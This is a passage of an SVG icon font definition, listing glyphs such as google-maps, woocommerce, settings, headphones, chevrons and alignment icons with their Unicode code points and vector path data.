<glyph glyph-name="google-maps" unicode="&#xe872;" d="M750 100c-10 0-18 7-20 17-33 162-91 252-137 324-12 18-23 35-33 52-18 26-30 57-35 90-3 14-4 26-4 38 0 126 103 229 229 229s229-103 229-229c0-12-1-24-4-38-5-33-17-64-36-91-8-16-20-33-31-51-47-72-105-162-138-324-1-10-10-17-20-17z m0 708c-103 0-187-84-187-187 0-9 1-19 3-30 4-29 14-54 29-76 10-17 21-34 33-52 39-61 87-136 122-255 35 119 83 193 123 255 11 18 22 35 31 51 16 23 26 48 30 76 3 12 4 22 4 31 0 103-85 187-188 187z m0-291c-57 0-104 46-104 104s47 104 104 104 104-47 104-104-47-104-104-104z m0 166c-34 0-62-28-62-62s28-63 62-63 63 28 63 63-28 62-63 62z m83-833h-708c-57 0-104 47-104 104v667c0 57 47 104 104 104h417c11 0 21-9 21-21s-10-21-21-21h-417c-34 0-62-28-62-62v-667c0-34 28-62 62-62h708c35 0 63 28 63 62v521c0 12 9 21 21 21s21-9 21-21v-521c0-57-47-104-105-104z m-750 42c-5 0-10 2-14 6-8 8-8 21 0 29l520 521c9 8 22 8 30 0s8-21 0-29l-521-521c-4-4-9-6-15-6z m792 0c-5 0-11 2-15 6l-396 396c-8 8-8 21 0 29s22 8 30 0l396-396c8-8 8-21 0-29-4-4-10-6-15-6z m-667 583c-46 0-83 37-83 83s37 84 83 84 84-38 84-84-38-83-84-83z m0 125c-23 0-41-19-41-42s18-41 41-41 42 18 42 41-19 42-42 42z m84 0h-84c-11 0-20 9-20 21s9 21 20 21h84c11 0 21-10 21-21s-10-21-21-21z m-84-292c-71 0-104 49-104 84 0 39 37 65 110 78-3 8-6 16-6 26 0 11 10 21 21 21s21-10 21-21c0-10 9-19 23-32 18-17 40-39 40-72 0-74-51-84-105-84z m37 125c-73-10-99-28-99-41 0-9 11-42 62-42 60 0 63 14 63 42 0 14-10 25-26 41z" horiz-adv-x="1000" />

<glyph glyph-name="image" unicode="&#xe873;" d="M42 83l212 300c9 9 21 13 34 5l137-96 192 233c8 13 29 13 37 0l304-454v608h-916v-596z m896-66l-309 458-183-225c-8-8-21-12-29-4l-134 96-229-325h884z m-917-46c-13 0-25 8-25 21v708c0 17 12 25 25 25h958c13 0 21-8 21-21v-708c0-13-8-21-21-21h-958z m246 571c0 25-21 50-46 50s-50-21-50-50 21-50 46-50 50 25 50 50z m46 0c0-50-42-96-92-96s-96 46-96 96 42 96 92 96 96-42 96-96z" horiz-adv-x="1000" />

<glyph glyph-name="photo-library" unicode="&#xe874;" d="M729 142h-708c-12 0-21 9-21 21v625c0 11 9 20 21 20h708c12 0 21-9 21-20v-625c0-12-9-21-21-21z m-687 41h666v584h-666v-584z m687-41c-7 0-15 4-18 11l-212 424-148-258c-3-6-8-10-15-10-6-1-13 1-17 5l-107 107-174-270c-6-9-19-12-28-6-10 6-13 19-7 29l188 291c3 6 9 9 15 10 6 1 13-2 17-6l106-106 153 268c4 7 11 11 19 11 7 0 14-5 18-12l229-458c5-10 1-23-9-28-3-2-7-2-10-2z m-500 375c-57 0-104 46-104 104s47 104 104 104 104-47 104-104-46-104-104-104z m0 166c-34 0-62-28-62-62s28-63 62-63 63 28 63 63-28 62-63 62z m584-625h-709c-11 0-21 10-21 21v84c0 11 10 20 21 20s21-9 21-20v-63h667v583h-42c-11 0-21 10-21 21s10 21 21 21h63c11 0 20-9 20-21v-625c0-11-9-21-20-21z m83-83h-708c-12 0-21 9-21 21v83c0 12 9 21 21 21s20-9 20-21v-62h667v583h-62c-12 0-21 9-21 21s9 21 21 21h83c11 0 21-10 21-21v-625c0-12-10-21-21-21z m83-83h-708c-12 0-21 9-21 20v84c0 11 9 21 21 21s21-10 21-21v-63h666v542h-62c-12 0-21 9-21 21s9 21 21 21h83c12 0 21-10 21-21v-584c0-11-9-20-21-20z" horiz-adv-x="1000" />

<glyph glyph-name="woocommerce" unicode="&#xe875;" d="M896 642h-792c-57 0-104-47-104-104v-292c0-58 47-104 104-104h403l128-80c3-3 7-4 11-4 5 0 11 3 15 7 7 7 8 18 2 26l-34 51h267c57 0 104 46 104 104v292c0 57-47 104-104 104z m62-396c0-35-28-63-62-63h-306c-7 0-14-4-18-11s-3-15 1-21l2-3-51 32c-4 2-8 3-11 3h-409c-34 0-62 28-62 63v292c0 34 28 62 62 62h792c34 0 62-28 62-62v-292z m-537 325c-47-60-61-198-65-273-23 43-41 115-51 156-11 49-15 63-34 63-17 0-19 0-85-144-10-21-22-47-32-68-6 41-12 99-18 142-4 36-8 69-11 93-2 12-12 20-24 18-11-1-19-12-17-23 3-24 7-57 11-93 26-217 27-217 51-217 17 0 18 0 78 131 13 28 29 62 41 88 23-96 50-192 101-217 3-1 6-2 9-2 4 0 8 1 11 3 6 4 10 11 10 18 0 87 16 245 58 300 7 9 5 22-4 29-9 7-22 5-29-4z m166-54c-54 0-109-63-125-142-9-50-1-96 22-123 14-18 33-27 54-27 55 0 109 62 125 142 9 49 1 95-22 123-14 17-33 27-54 27z m35-142c-13-64-54-108-84-108-9 0-16 3-22 11-15 18-20 52-13 89 13 64 54 108 84 108 9 0 16-4 22-11 15-18 20-52 13-89z m215 142c-54 0-109-63-125-142-9-50-1-96 22-123 14-18 33-27 54-27 55 0 109 62 125 142 9 49 1 95-22 123-14 17-33 27-54 27z m35-142c-13-64-54-108-84-108-9 0-16 3-22 11-15 18-20 52-13 89 13 64 54 108 84 108 9 0 16-4 22-11 15-18 20-52 13-89z" horiz-adv-x="1000" />

<glyph glyph-name="youtube" unicode="&#xe876;" d="M500-19c-49 0-98 2-146 6l-221 20c-76 6-133 69-133 145v396c0 76 57 139 133 145l221 19c97 9 195 9 292 0l221-19c76-6 133-69 133-145v-396c0-76-57-139-133-145l-221-20c-48-4-97-6-146-6z m0 696c-48 0-95-2-143-6l-220-19c-54-5-95-50-95-104v-396c0-54 41-99 95-104l220-19c95-8 191-8 286 0l220 19 0 0c54 5 95 50 95 104v396c0 54-41 99-95 104l-220 19c-48 4-95 6-143 6z m-104-535c-4 0-7 0-10 2-7 4-11 11-11 18v375c0 8 4 15 11 19 7 3 15 3 21-1l292-188c6-3 9-10 9-17s-3-14-9-18l-292-187c-3-2-7-3-11-3z m21 357v-298l232 149-232 149z" horiz-adv-x="1000" />

<glyph glyph-name="flip-box" unicode="&#xe877;" d="M813 788h-625c-12 0-21-10-21-21v-834c0-11 9-21 21-21h625c11 0 20 10 20 21v834c0 11-9 21-20 21z m-21-834h-584v792h584v-792z m207 264c-4 11-15 17-26 13l-35-11c42 86 44 194-32 271-8 8-22 8-30 0-8-8-8-21 0-29 64-65 60-159 21-232l-16 47c-4 11-15 17-26 13-11-4-17-15-13-26l29-89c0 0 1-1 1-1 1-2 1-3 2-4 1-1 2-2 3-3 0-1 1-1 1-2 0 0 1 0 1 0 1-1 2-1 3-2 2-1 6-2 9-2 2 0 4 0 6 1l89 30c11 3 17 15 13 26z m-870 265c0 1-1 1-1 2 0 1-1 2-2 4-1 1-2 1-2 2-1 1-1 2-2 2-1 1-1 1-2 1-1 0-1 1-1 1-1 0-2 0-2 1-2 0-3 1-5 1-1 0-2 0-3 0-2 0-3 0-4 0-1-1-2-1-2-1l-89-29c-11-4-17-16-13-27 4-10 16-16 27-13l34 12c-42-86-44-195 33-272 4-4 9-6 14-6 6 0 11 2 15 6 8 8 8 21 0 30-64 64-59 158-21 231l16-46c3-9 11-15 20-15 2 0 4 1 6 1 11 4 17 16 14 27l-30 88z m184 13h375c11 0 20 9 20 21s-9 21-20 21h-375c-12 0-21-10-21-21s9-21 21-21z m0-125h375c11 0 20 9 20 21s-9 21-20 21h-375c-12 0-21-10-21-21s9-21 21-21z m0-125h375c11 0 20 9 20 21s-9 21-20 21h-375c-12 0-21-10-21-21s9-21 21-21z m0-125h166c12 0 21 9 21 21s-9 21-21 21h-166c-12 0-21-10-21-21s9-21 21-21z" horiz-adv-x="1000" />

<glyph glyph-name="settings" unicode="&#xe878;" d="M662-117c-14 0-27 3-40 10-21 12-36 33-40 57-4 21-23 35-45 33-24-3-50-3-74 0-22 2-41-12-45-33-4-24-19-45-40-57-22-12-48-13-72-3-38 16-75 37-108 62-20 15-32 38-32 64-1 24 10 48 29 64 16 13 18 36 6 54-15 20-27 42-38 65-8 20-30 29-50 22-23-9-49-6-70 6-21 13-36 35-39 60-3 21-4 42-4 63s1 42 4 63c3 25 18 47 39 60 21 12 47 15 70 6 20-7 42 3 50 22 11 23 23 45 38 65 13 18 10 41-6 55-19 15-30 39-29 63 0 26 12 49 32 64 33 25 70 46 108 62 23 10 50 9 72-3 21-12 36-33 40-57 4-21 23-35 45-33 24 3 50 3 74 0 22-2 41 12 45 33 4 24 19 45 40 57 22 12 49 13 72 3 38-16 75-37 108-62 20-15 32-38 33-64 0-24-11-48-30-63-16-14-18-37-5-55 14-20 27-42 37-65 9-19 31-29 50-22 23 9 49 6 70-6 22-13 36-35 39-60 3-21 4-42 4-63s-1-42-4-63c-3-25-17-47-39-60-21-12-47-15-70-6l0 0c-19 7-42-2-50-22-11-23-23-45-38-65-12-18-10-41 6-54 19-16 30-40 29-64 0-26-12-49-32-64-33-25-70-46-108-62-10-5-21-7-32-7z m-120 142c40 0 74-28 81-68 2-12 9-22 19-27 11-6 24-7 36-2 35 15 68 34 99 57 10 8 16 19 16 31 0 12-5 24-14 31-34 28-39 75-13 111 13 18 24 38 33 58 17 39 62 59 102 44l0 0c12-4 24-3 35 3 10 7 17 17 19 30 2 19 3 38 3 57s-1 38-3 57c-2 13-9 24-19 30-11 6-23 7-34 3-40-15-86 5-103 44-9 20-20 40-33 58-26 36-21 83 13 111 9 7 14 19 14 31 0 12-6 23-16 31-31 23-64 42-99 57-12 5-25 4-36-2-10-5-17-16-19-27-7-43-46-72-90-67-22 2-44 2-66 0-44-5-83 24-90 67-2 11-9 22-19 27-11 6-24 7-36 2-35-15-68-34-99-57-10-8-15-19-16-31 0-12 5-24 14-31 34-28 39-75 13-111-12-18-24-38-33-58-17-39-62-59-102-44-12 4-24 3-34-3-11-6-18-17-20-30-2-19-3-38-3-57s1-38 3-57c2-13 9-23 20-30 10-6 22-7 33-3 41 15 86-4 103-44 9-20 21-40 33-57 26-36 21-84-13-112-9-7-14-18-14-30 1-13 6-24 16-32 31-23 64-42 99-57 12-5 25-4 36 2 10 6 17 16 19 27 7 43 46 72 90 67 22-2 44-2 66 0 3 0 6 1 9 1z m-42 117c-115 0-208 93-208 208s93 208 208 208 208-93 208-208-93-208-208-208z m0 375c-92 0-167-75-167-167s75-167 167-167 167 75 167 167-75 167-167 167z" horiz-adv-x="1000" />

<glyph glyph-name="headphones" unicode="&#xe879;" d="M1036 189v143c0 275-232 518-500 518s-500-243-500-518v-143a175 175 0 0 1-36-107 247 247 0 0 1 232-232 55 55 0 0 1 54 54v321a55 55 0 0 1-54 54 256 256 0 0 1-161-54v107a503 503 0 0 0 179 375v-89a20 20 0 0 1 11-18 16 16 0 0 1 18 4 334 334 0 0 0 253 100 329 329 0 0 0 254-100 19 19 0 0 1 14-8h7a20 20 0 0 1 11 18v93a491 491 0 0 0 178-375v-107a256 256 0 0 1-160 54 55 55 0 0 1-54-54v-321a55 55 0 0 1 54-54 247 247 0 0 1 232 232 154 154 0 0 1-32 107z m-786-285a18 18 0 0 0-36 0v321a18 18 0 0 0 36 0v-321z m-71 335v-343a210 210 0 0 0-143 186c0 86 68 139 143 157z m607 486v-68a390 390 0 0 1-250 82 390 390 0 0 1-250-82v75a454 454 0 0 0 250 82 445 445 0 0 0 250-82v-7z m35-500a18 18 0 0 0 36 0v-321a18 18 0 0 0-36 0v321z m72-329v343c78-18 143-68 143-157a214 214 0 0 0-143-186z" horiz-adv-x="1069" />

<glyph glyph-name="testimonial" unicode="&#xe87a;" d="M155-150a13 13 0 0 0-10 3 17 17 0 0 0-7 21l93 252h-83a149 149 0 0 0-148 148v428a149 149 0 0 0 148 148h707a149 149 0 0 0 148-148v-431a149 149 0 0 0-148-149h-348l-341-272h-11z m-7 966a115 115 0 0 1-113-114v-431a115 115 0 0 1 113-114h111a18 18 0 0 0 13-7 26 26 0 0 0 4-17l-83-218 297 238a13 13 0 0 0 10 4h355a115 115 0 0 1 114 114v434a115 115 0 0 1-114 114l-707-3h0z" horiz-adv-x="1003" />

<glyph glyph-name="counter-circle" unicode="&#xe87b;" d="M321 488c-8 0-13 0-17-5l-62-91c-4-9-4-17 4-21 8-4 17-4 21 4l33 50v-196c0-8 8-16 17-16 8 0 16 8 16 16v242c0 8-4 12-12 17z m150 0c-42 0-75-34-75-75 0-9 8-17 17-17s16 8 16 17c0 25 21 45 46 45s46-20 46-45v-9c0-8-4-21-8-29l-109-137c-4-5-4-13 0-17 4-4 9-8 13-8h121c8 0 16 8 16 16s-8 17-16 17h-92l87 112c13 13 17 30 17 46v9c-4 41-37 75-79 75z m287-75c0 41-33 75-75 75s-75-34-75-75c0-9 9-17 17-17s17 8 17 17c0 25 21 45 46 45 25 0 45-20 45-45s-20-46-45-46c-9 0-17-9-17-17s8-17 17-17c25 0 45-20 45-45s-20-46-45-46c-25 0-46 21-46 46 0 8-9 16-17 16s-17-8-17-16c0-42 34-75 75-75s75 33 75 75c0 25-12 45-29 62 17 13 29 38 29 63z m-258 416c263 0 479-216 479-479s-216-479-479-479-479 217-479 479c0 92 25 183 79 263 8 8 21 12 29 4 9-4 13-17 4-29-45-71-70-150-70-238 0-242 195-438 437-438s438 196 438 438-196 438-438 438c-12 0-21 8-21 20s9 21 21 21z" horiz-adv-x="1000" />

<glyph glyph-name="person" unicode="&#xe87c;" d="M500 142c-103 0-194 83-232 208-34 2-60 46-60 104 0 17 3 33 7 47-5 21-7 40-7 57 0 161 131 292 292 292s292-131 292-292c0-17-2-36-7-57 5-14 7-30 7-47 0-58-26-102-60-104-38-125-129-208-232-208z m-217 253c3 0 5 0 7-1 7-3 12-7 13-14 30-118 109-197 197-197s168 79 197 197c1 7 6 12 12 14 6 3 13 2 19-1 7-2 22 21 22 61 0 14-2 28-6 40-1 3-1 7 0 11 4 20 6 37 6 53 0 138-112 250-250 250s-250-112-250-250c0-16 2-33 7-53 0-4 0-8-1-11-4-12-6-26-6-40 0-40 16-62 21-62 3 2 8 3 12 3z m425 80c-8 0-15 5-19 12 0 2-16 37-21 72-87 6-178 48-222 93-4-7-9-13-14-18-34-34-87-34-114-34-6-14-9-59-5-103 0-6-2-12-7-16-5-5-11-7-17-6-1 0-29 5-53 5-11 0-21 9-21 20s10 21 21 21c12 0 24-1 34-1-2 37 0 91 19 111 8 8 18 11 29 11 25 0 64 1 84 21 10 10 15 23 15 41 0 12 9 21 21 21s20-9 20-21c3-21 107-104 230-104 11 0 20-9 20-21 0-20 8-46 14-61l40 3c12 1 22-7 23-19 1-11-8-21-19-22l-56-5c0 0-1 0-2 0z m-270-42h-42c-12 0-21 10-21 21s9 21 21 21h42c11 0 20-9 20-21s-9-21-20-21z m166 0h-41c-12 0-21 10-21 21s9 21 21 21h41c12 0 21-9 21-21s-9-21-21-21z m375-583h-958c-7 0-13 3-17 8-4 5-5 12-3 18l32 129c7 30 27 55 55 68l215 108c5 3 11 3 17 1 5-2 9-6 12-11l107-251 16 32c-14 19-38 56-38 86 0 38 32 62 83 62s83-24 83-62c0-30-24-67-38-86l16-32 107 251c3 5 7 9 12 11 6 2 12 2 17-1l216-108c27-13 47-38 54-68l32-129c2-6 1-13-3-18-4-5-10-8-17-8z m-385 42h359l-26 103c-5 18-17 33-33 41l-196 98-104-242z m-123 0h58l-27 53c-3 7-2 16 3 22 15 19 37 54 37 71 0 18-29 20-42 20s-42-2-42-20c0-17 23-52 38-71 5-6 6-15 2-22l-27-53z m-423 0h358l-104 242-196-98c-16-8-28-23-32-41l-26-103z" horiz-adv-x="1000" />

<glyph glyph-name="chevron-right" unicode="&#xe87d;" d="M696 317c12 12 17 29 17 46 0 16-5 33-17 41l-296 300c-12 13-25 21-46 21-16 0-29-4-41-17-13-12-21-29-21-45 0-17 4-34 16-46l255-259-259-279c-12-12-16-29-16-46 0-16 8-33 20-46 13-8 30-12 46-12 17 0 34 8 46 21l296 321z" horiz-adv-x="1000" />

<glyph glyph-name="chevron-left" unicode="&#xe87e;" d="M646 725c-17 0-33-8-42-17l-296-300c-12-12-16-29-16-45 0-17 4-34 16-46l296-321c13-13 25-21 42-21 17 0 33 4 46 17 12 12 21 29 21 46 0 16-5 33-21 45l-254 280 254 262c8 8 16 21 16 38 0 16-4 33-16 45-17 13-29 17-46 17z" horiz-adv-x="1000" />

<glyph glyph-name="close" unicode="&#xe87f;" d="M742 683l-242-241-242 241c-12 13-25 17-41 17-21 0-38-8-50-17-13-12-17-29-17-45 0-17 4-30 21-42l237-246-241-242c-29-29-29-58 0-87 29-29 58-29 87 0l242 242 242-242c12-13 29-17 45-17 17 0 34 4 46 17 13 12 17 25 17 46 0 16-4 33-17 46l-241 237 245 242c30 29 30 58 0 87-29 34-58 34-91 4z" horiz-adv-x="1000" />

<glyph glyph-name="file-download" unicode="&#xe880;" d="M792 475h-167v250h-250v-250h-167l292-292 292 292z m-584-375v-83h584v83h-584z" horiz-adv-x="1000" />

<glyph glyph-name="save" unicode="&#xe881;" d="M772 850a247 247 0 0 0 156-98 315 315 0 0 0 60-108 217 217 0 0 0 12-67v-636a93 93 0 0 0-94-91h-813a93 93 0 0 0-93 91v815a93 93 0 0 0 93 94h679z m-15-59h-516a52 52 0 0 1-52-52v-281a52 52 0 0 1 52-53h517a52 52 0 0 1 53 53v281a52 52 0 0 1-53 52z m-60 0h-143v-231h0a22 22 0 0 1 23-22h99a22 22 0 0 1 23 22z" horiz-adv-x="1000" />

<glyph glyph-name="zoom-in" unicode="&#xe882;" d="M646 267h-33l-13 12c42 46 67 109 67 175 0 150-121 271-271 271s-271-121-271-271c0-150 121-271 271-271 67 0 129 25 175 67l12-12v-34l209-208 62 62-208 209z m-250 0c-104 0-188 83-188 187s84 188 188 188 187-84 187-188-83-187-187-187z m21 208h83v-42h-83v-83h-42v83h-83v42h83v83h42v-83z" horiz-adv-x="1000" />

<glyph glyph-name="shortcode" unicode="&#xe883;" d="M917 646v-583c0-13-9-21-21-21h-83c-13 0-21 8-21 21 0 12 8 20 21 20h62v542h-62c-13 0-21 8-21 21 0 12 8 21 21 21h83c12 0 21-9 21-21z m-729-21c12 0 20 4 20 21 0 12-8 21-20 21h-84c-12 0-21-9-21-21v-583c0-13 9-21 21-21h84c12 0 20 8 20 21 0 12-8 20-20 20h-63v542h63z m125-383c-25 0-42-17-42-42s17-42 42-42 41 17 41 42-16 42-41 42z m187 0c-25 0-42-17-42-42s17-42 42-42c25 0 42 17 42 42s-17 42-42 42z m188 0c-25 0-42-17-42-42s17-42 42-42 41 17 41 42-16 42-41 42z" horiz-adv-x="1000" />

<glyph glyph-name="nerd" unicode="&#xe884;" d="M958 350c0 253-205 458-458 458s-458-205-458-458 205-458 458-458 458 205 458 458z m42 0c0-276-224-500-500-500s-500 224-500 500 224 500 500 500 500-224 500-500z m-768-135c53-93 146-136 268-136s215 43 268 136c6 10 2 23-8 28-10 6-22 2-28-8-45-78-123-114-232-114s-187 36-232 114c-6 10-18 14-28 8-10-5-14-18-8-28z m466 447c-95 0-172-74-176-168-6 1-14 2-22 2-8 0-16-1-22-2-4 94-81 168-176 168-97 0-176-79-176-177s79-176 176-176c71 0 133 43 161 104 9 2 16 10 16 20 0 21 1 21 21 21 20 0 21 0 21-21 0-10 7-18 17-20 27-61 89-104 160-104 97 0 176 79 176 176s-79 177-176 177z m-396-313c-75 0-136 61-136 136 0 76 61 137 136 137 76 0 136-62 136-137 0-75-60-136-136-136z m396 0c-75 0-136 61-136 136 0 76 61 137 136 137 75 0 136-62 136-137 0-75-61-136-136-136z m23 134c0 12-9 21-21 21s-21-9-21-21 9-20 21-20 21 9 21 20z m42 0c0-34-28-62-63-62-35 0-62 28-62 62s27 63 62 63c35 0 63-28 63-63z m-438 0c0 12-9 21-21 21s-21-9-21-21 10-20 21-20 21 9 21 20z m42 0c0-34-28-62-63-62s-62 28-62 62 28 63 62 63 63-28 63-63z" horiz-adv-x="1000" />

<glyph glyph-name="device-desktop" unicode="&#xe885;" d="M558 21c26 0 46-21 46-46v-24c0-7-6-14-14-14h-180c-8 0-14 7-14 14v24c0 25 20 46 46 46h116z m306 741c52 0 94-43 94-95v-509c0-53-42-95-94-95h-728c-52 0-94 42-94 95v509c0 52 42 95 94 95h728z m0-84h-728c-5 0-10-3-11-8l0-3v-425h750v425c0 6-4 10-9 11l-2 0z" horiz-adv-x="1000" />

<glyph glyph-name="device-tablet" unicode="&#xe886;" d="M788 808c48 0 87-39 87-87v-742c0-48-39-87-87-87h-575c-49 0-88 39-88 87v742c0 48 39 87 88 87h575z m0-83h-575c-3 0-4-2-5-4l0 0v-742c0-2 2-4 4-4l1 0h575c2 0 3 2 4 4l0 0v742c0 2-2 4-4 4l0 0z m-205-646c23 0 42-19 42-41v-8c0-7-6-13-14-13h-222c-8 0-14 6-14 13v8c0 22 19 41 42 41h166z" horiz-adv-x="1000" />

<glyph glyph-name="device-mobile" unicode="&#xe887;" d="M700 808c48 0 88-39 88-87v-742c0-48-40-87-88-87h-400c-48 0-87 39-87 87v742c0 48 39 87 87 87h400z m0-83h-400c-2 0-4-2-4-4l0 0v-742c0-2 2-4 4-4l0 0h400c2 0 4 2 4 4l0 0v742c0 2-1 4-4 4l0 0z m-164-646c23 0 42-19 42-41v-8c0-7-6-13-14-13h-118c-8 0-14 6-14 13v8c0 22 19 41 42 41h62z" horiz-adv-x="1000" />

<glyph glyph-name="document-file" unicode="&#xe888;" d="M379 842c4 4 13 8 17 8h417c33 0 62-29 62-62v-876c0-33-29-62-62-62h-625c-34 0-63 29-63 62v667c0 4 4 13 8 17l246 246z m-4-63l-179-179h158c13 0 21 8 21 21v158z m438 29h-396v-187c0-33-29-63-63-63h-187v-646c0-12 8-20 21-20h625c12 0 20 8 20 20v876c0 12-8 20-20 20z m-542-729c-13 0-21 9-21 21s8 21 21 21h458c13 0 21-8 21-21s-8-21-21-21h-458z m0-125c-13 0-21 8-21 21s8 21 21 21h458c13 0 21-9 21-21s-8-21-21-21h-458z m0 375c-13 0-21 9-21 21s8 21 21 21h458c13 0 21-8 21-21s-8-21-21-21h-458z m0-125c-13 0-21 9-21 21s8 21 21 21h458c13 0 21-8 21-21s-8-21-21-21h-458z m242 375c-13 0-21 9-21 21s8 21 21 21h216c13 0 21-8 21-21s-8-21-21-21h-216z m-242-125c-13 0-21 9-21 21s8 21 21 21h458c13 0 21-8 21-21s-8-21-21-21h-458z" horiz-adv-x="1000" />

<glyph glyph-name="folder-o" unicode="&#xe889;" d="M896-46h-792c-57 0-104 47-104 104v500c0 58 47 105 104 105h149c44 0 84-29 98-72l4-11c9-25 32-42 59-42h482c57 0 104-47 104-105v-375c0-57-47-104-104-104z m-792 667c-34 0-62-28-62-63v-500c0-34 28-62 62-62h792c34 0 62 28 62 62v375c0 35-28 63-62 63h-482c-45 0-84 29-99 71l-3 11c-9 26-33 43-59 43h-149z m834-125c-12 0-21 9-21 21v125c0 34-28 62-63 62h-708c-35 0-63-28-63-62 0-12-9-21-20-21s-21 9-21 21c0 57 46 104 104 104h708c58 0 104-47 104-104v-125c0-12-9-21-20-21z" horiz-adv-x="1000" />

<glyph glyph-name="hypster" unicode="&#xe88a;" d="M750 267c-129 0-177 68-194 109-19 48-17 105 3 151-46-12-71-12-118 0 21-46 23-103 3-151-17-41-65-109-194-109-164 0-208 91-208 146 0 7 0 15 1 25 2 23 4 59-7 72-3 3-7 6-16 7-10 0-18 8-20 17-1 10 4 19 13 23 5 2 113 43 237 43 78 0 142-17 188-29 25-7 48-13 62-13s37 6 62 13c47 12 110 29 188 29 124 0 232-41 237-43 9-4 14-13 13-23-2-9-10-17-20-17-9-1-13-4-15-7-12-13-10-49-8-72 1-10 1-18 1-25 0-55-43-146-208-146z m-133 275c-28-30-45-95-22-150 16-38 55-84 155-84 162 0 167 94 167 105 0 6-1 13-1 22-3 31-6 70 13 97-42 12-108 26-179 26-51 0-95-7-133-16z m-545-10c18-27 15-66 13-97-1-9-2-16-2-22 0-11 5-105 167-105 100 0 139 46 155 84 23 55 6 120-22 150-38 9-82 16-133 16-71 0-137-14-178-26z m491-119c-12 0-21 9-21 20 0 11-13 21-42 21s-42-10-42-21c0-11-9-20-20-20s-21 9-21 20c0 32 26 63 83 63s83-31 83-63c0-11-9-20-20-20z m-63-563c-276 0-500 224-500 500s224 500 500 500 500-224 500-500-224-500-500-500z m0 958c-253 0-458-205-458-458s205-458 458-458 458 205 458 458-205 458-458 458z m-229-416c-35 0-63 28-63 62s28 63 63 63 62-28 62-63-28-62-62-62z m0 83c-12 0-21-9-21-21s9-21 21-21 21 10 21 21-10 21-21 21z m458-83c-34 0-62 28-62 62s28 63 62 63 63-28 63-63-28-62-63-62z m0 83c-11 0-21-9-21-21s10-21 21-21 21 10 21 21-9 21-21 21z m-87-417c-40 0-163 0-163 84s62 83 92 83c14 0 31-5 54-12 49-15 122-37 228-30 10 1 18-5 21-14s0-18-8-24c-40-27-153-87-224-87z m-71 125c-38 0-50-3-50-41 0-35 66-42 121-42 34 0 86 19 133 42-72 4-126 20-162 31-18 6-34 10-42 10z m-213-125c-71 0-184 60-224 87-8 6-11 15-8 24s12 15 21 14c106-7 179 15 228 30 23 7 40 12 54 12 30 0 92 0 92-83s-122-84-163-84z m-133 84c47-23 99-42 133-42 56 0 121 7 121 42 0 38-12 41-50 41-8 0-24-4-42-10-36-11-90-27-162-31z" horiz-adv-x="1000" />

<glyph glyph-name="h-align-left" unicode="&#xe88b;" d="M83 821c30 0 55-24 55-54v-834c0-30-25-54-55-54s-54 24-54 54v834c0 30 24 54 54 54z m264-333c17 17 46 5 46-20l0-85 503 0 6 0c31-3 56-26 56-54l0-5c-3-28-30-49-62-49l-503 0 0-85c0-24-29-37-46-19l-137 139c-11 10-11 28 0 39l137 139z" horiz-adv-x="1000" />

<glyph glyph-name="h-align-right" unicode="&#xe88c;" d="M917 821c30 0 54-24 54-54v-834c0-30-24-54-54-54s-54 24-54 54v834c0 30 24 54 54 54z m-264-333l137-139c11-11 11-29 0-39l-137-139c-17-18-46-5-46 19l0 85-503 0c-32 0-59 22-62 49l0 5c0 29 24 51 56 54l6 0 503 0 0 85c0 25 29 37 46 20z" horiz-adv-x="1000" />

<glyph glyph-name="h-align-center" unicode="&#xe88d;" d="M500 821c30 0 54-24 54-54v-834c0-30-24-54-54-54s-54 24-54 54v834c0 30 24 54 54 54z m310-332l0-85 86 0c32 0 59-21 62-49l0-5c0-28-24-51-56-54l-6 0-86 0 0-85c0-24-30-37-47-19l-137 138c-11 11-11 29 0 40l137 138c17 18 47 5 47-19z m-575 22l3-3 137-138c10-10 11-25 3-36l-3-4-137-138c-16-17-43-7-47 15l0 4 0 85-86 0-6 0c-29 3-53 23-56 49l0 5 0 6c3 26 27 46 56 49l6 0 86 0 0 85c0 22 27 35 44 21l0 0z" horiz-adv-x="1000" />

<glyph glyph-name="h-align-stretch" unicode="&#xe88e;" d="M500 821c30 0 54-24 54-54v-834c0-30-24-54-54-54s-54 24-54 54v834c0 30 24 54 54 54z m310-310l3-3 137-138c10-10 11-25 3-36l-3-4-137-138c-16-17-43-7-47 15l0 4 0 85-86 0-6 0c-29 3-53 23-56 49l0 5 0 6c3 26 27 46 56 49l6 0 86 0 0 85c0 22 27 35 44 21z m-575-22l0-85 86 0c32 0 59-21 62-49l0-5c0-28-24-51-56-54l-6 0-86 0 0-85c0-24-30-37-47-19l-137 138c-11 11-11 29 0 40l137 138c17 18 47 5 47-19z" horiz-adv-x="1000" />

<glyph glyph-name="v-align-top" unicode="&#xe88f;" d="M480 641c11 11 29 11 40 0l138-138c18-17 5-46-19-46l-85 0 0-503 0-6c-3-31-26-56-54-56l-5 0c-28 3-49 30-49 62l0 503-85 0c-24 0-37 29-19 46l138 138z m437 180c30 0 54-24 54-54s-24-54-54-54h-834c-30 0-54 24-54 54s24 54 54 54h834z" horiz-adv-x="1000" />

<glyph glyph-name="v-align-bottom" unicode="&#xe890;" d="M917-13c30 0 54-24 54-54s-24-54-54-54h-834c-30 0-54 24-54 54s24 54 54 54h834z m-422 821l5 0c28 0 51-24 54-56l0-6 0-503 85 0c24 0 37-29 19-46l-138-137c-11-11-29-11-40 0l-138 137c-18 17-5 46 19 46l85 0 0 503c0 32 22 59 49 62l5 0-5 0z" horiz-adv-x="1000" />

<glyph glyph-name="v-align-middle" unicode="&#xe891;" d="M516 228l4-3 138-137c17-16 7-43-15-46l-4-1-85 0 0-86 0-5c-3-30-23-54-49-57l-5 0-6 0c-26 3-46 27-49 57l0 5 0 86-85 0c-23 0-35 27-22 44l3 3 139 137c10 10 25 11 36 3l0 0z m401 176c30 0 54-24 54-54s-24-54-54-54h-834c-30 0-54 24-54 54s24 54 54 54h834z m-417 404c28 0 51-24 54-56l0-6 0-86 85 0c24 0 37-30 19-47l-138-137c-11-11-29-11-40 0l-138 137c-18 17-5 47 19 47l85 0 0 86c0 30 19 56 44 61l5 1 5 0z" horiz-adv-x="1000" />

